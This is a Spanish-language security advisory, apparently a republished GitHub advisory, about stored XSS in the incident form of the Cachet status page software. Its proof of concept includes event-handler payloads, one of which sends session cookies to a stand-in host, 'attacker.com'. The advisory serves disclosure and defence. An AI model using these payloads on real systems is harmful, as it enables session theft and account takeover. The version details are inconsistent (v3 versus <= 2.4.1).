XSS almacenado en el componente de incidentes de Cachet
Resumen
Existe una vulnerabilidad de Cross-Site Scripting (XSS) almacenado en el formulario de creación de incidentes, lo que permite a un atacante autenticado inyectar HTML/JavaScript malicioso que se ejecuta en el navegador de cualquier usuario que visualice la página de estado, lo que potencialmente conduce al robo de tokens de sesión y a la toma de control de cuentas.
Detalles
Los campos Incident Name e Incident Message no desinfectan adecuadamente los atributos de controladores de eventos HTML. Aunque las etiquetas <script> parecen estar filtradas, las cargas útiles basadas en eventos no están bloqueadas.
- Punto de conexión afectado:
/dashboard/incidents/ - Campos afectados: Incident Name, Incident Message
- Versión afectada: Cachet v3
PoC
- Iniciar sesión como usuario autenticado
- Navegar a
/dashboard/incidents/ - Crear un nuevo incidente
- Insertar las siguientes cargas útiles en los campos Name y Message:
Payload 1 — Confirmar ejecución de XSS:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
- Guardar el incidente
- Navegar a la página pública de estado
- La carga útil se ejecuta en el navegador de la víctima
Payload 1
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />
Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />
Impacto
XSS almacenado que afecta a todos los usuarios que visualicen la página pública de estado.
Un atacante puede:
- Confirmar la ejecución de scripts mediante una ventana emergente de alerta
- Robar cookies de sesión y tokens XSRF de usuarios autenticados
- Redirigir de forma silenciosa a las víctimas hacia páginas sensibles como
/dashboard/manage-customization
Esta vulnerabilidad podría dar lugar a la toma de control total de la cuenta de cualquier usuario que visualice la página de estado, incluidos los administradores.
Qué hacer
No se han establecido medidas de corrección.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | cachethq/cachet | <= 2.4.1 | sin corrección |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Debilidad (CWE)
CWE-79- Plataforma
- Composer
- Paquete
cachethq/cachet- Publicada
- 20.10.2026
- Actualizado
- 21.10.2026 00:18
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-x397-5hrv-j9m9 - CC BY 4.0
Historial de vulnerabilidades: cachethq/cachet
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 08.2021 10.2026
- Sin corrección
- 2
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 4
- Media 1
Divulgaciones por año
- 2021: 4
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 1
-
XSS almacenado en el componente de incidentes de Cachet esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.